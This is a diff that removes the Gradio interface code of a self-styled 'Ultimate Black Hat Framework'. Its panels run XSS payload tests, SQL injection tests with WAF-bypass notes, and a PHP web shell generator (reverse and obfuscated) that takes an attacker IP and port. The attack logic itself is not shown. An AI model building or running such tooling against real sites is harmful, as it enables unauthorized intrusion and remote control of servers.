-                            test_param = gr.Textbox(
-                                label="📌 Parameter Name",
-                                placeholder="q",
-                                value="q"
-                            )
-                            test_payload = gr.Textbox(
-                                label="💉 Payload to Test",
-                                placeholder="<script>alert(1)</script>",
-                                lines=3
-                            )
-                            test_method = gr.Radio(
-                                choices=["GET", "POST"],
-                                value="GET",
-                                label="HTTP Method"
-                            )
-                            test_btn = gr.Button("🚀 TEST PAYLOAD", variant="primary", size="lg")
-
-                        with gr.Column(scale=1):
-                            gr.Markdown("""
-                            ## 🧪 Testing Guide
-                            
-                            **What it checks:**
-                            - Payload reflection
-                            - Script tag presence
-                            - Event handler injection
-                            - HTML parsing
-                            
-                            **Best Practices:**
-                            1. Start with simple payloads
-                            2. Escalate complexity
-                            3. Test multiple encodings
-                            4. Check response headers
-                            
-                            **Legal Note:**
-                            Test only authorized systems!
-                            """)
-
-                    xss_test_output = gr.Markdown(label="Test Results")
-                    test_btn.click(panel2_xss_test, inputs=[test_url, test_param, test_payload, test_method], outputs=xss_test_output)
-
-                # Payload Library Tab
-                with gr.Tab("📚 Payload Library"):
-                    list_btn = gr.Button("📋 LIST ALL PAYLOADS", variant="secondary", size="lg")
-                    xss_lib_output = gr.Markdown(label="Payload Library")
-                    list_btn.click(panel2_xss_list_all, inputs=[], outputs=xss_lib_output)
-
-        # ═══════════════════════════════════════════════════════════════════
-        # PANEL 3: SQL INJECTION
-        # ═══════════════════════════════════════════════════════════════════
-        with gr.Tab("💉 Panel 3: SQL Injection", id="panel3"):
-            gr.Markdown("### Advanced SQL Injection Testing")
-
-            with gr.Row():
-                with gr.Column(scale=2):
-                    sql_target = gr.Textbox(
-                        label="🎯 Target URL",
-                        placeholder="http://target.com/login.php"
-                    )
-                    sql_param = gr.Textbox(
-                        label="📌 Parameter",
-                        placeholder="username",
-                        value="id"
-                    )
-                    sql_method = gr.Radio(
-                        choices=["GET", "POST"],
-                        value="GET",
-                        label="Method"
-                    )
-                    sql_btn = gr.Button("💉 TEST SQL INJECTION", variant="primary", size="lg")
-
-                with gr.Column(scale=1):
-                    gr.Markdown("""
-                    **Techniques:**
-                    - Union-based
-                    - Time-based blind
-                    - Boolean-based blind
-                    - Error-based
-                    
-                    **WAF Bypass:**
-                    - Comment variations
-                    - Case obfuscation
-                    """)
-
-            sql_output = gr.Markdown(label="SQL Test Results")
-            sql_btn.click(panel3_sql_test, inputs=[sql_target, sql_param, sql_method], outputs=sql_output)
-
-        # ═══════════════════════════════════════════════════════════════════
-        # PANEL 4: WEB SHELL
-        # ═══════════════════════════════════════════════════════════════════
-        with gr.Tab("💣 Panel 4: Web Shell Generator", id="panel4"):
-            gr.Markdown("### Advanced Web Shell Generation")
-
-            with gr.Row():
-                with gr.Column(scale=2):
-                    shell_type = gr.Dropdown(
-                        choices=[
-                            "php_simple",
-                            "php_advanced",
-                            "php_reverse",
-                            "php_obfuscated"
-                        ],
-                        value="php_advanced",
-                        label="Shell Type"
-                    )
-                    shell_ip = gr.Textbox(
-                        label="Attacker IP (for reverse shell)",
-                        placeholder="192.168.1.100"
-                    )
-                    shell_port = gr.Number(
-                        label="Port",
-                        value=4444
-                    )
-                    shell_btn = gr.Button("💣 GENERATE SHELL", variant="primary", size="lg")
-
-                with gr.Column(scale=1):
-                    gr.Markdown("""
-                    **Shell Types:**
-                    - PHP Simple
-                    - PHP Advanced (with UI)
-                    - PHP Reverse Shell
-                    - PHP Obfuscated
-                    
-                    **Deployment:**
-                    - File upload
-                    - LFI exploitation
-                    - ZIP slip
-                    """)
-
-            shell_output = gr.Markdown(label="Generated Shell")
-            shell_btn.click(panel4_generate_shell, inputs=[shell_type, shell_ip, shell_port], outputs=shell_output)
-
-    # Footer
-    gr.Markdown("""
-    ---
-    <div style="text-align: center; color: #666;">
-    <strong>Ultimate Black Hat Framework v5.0 - XSS Master Edition</strong><br>
-    For Authorized Security Testing Only | Classification: CONFIDENTIAL
-    </div>
-    """)
-
-if __name__ == "__main__":
-    print("\n" + "="*60)
-    print("🔥 ULTIMATE BLACK HAT FRAMEWORK v5.0 - XSS MASTER EDITION")
-    print("="*60)
-    print("\n✅ All panels loaded successfully!")
-    print("\n📡 Starting web interface...")
-    print("🌐 Access at: http://localhost:7860")
-    print("\n" + "="*60 + "\n")
-    
-    app.launch(
-        share=False,
-        server_name="0.0.0.0",
-        server_port=7860,
-        show_error=True
-    )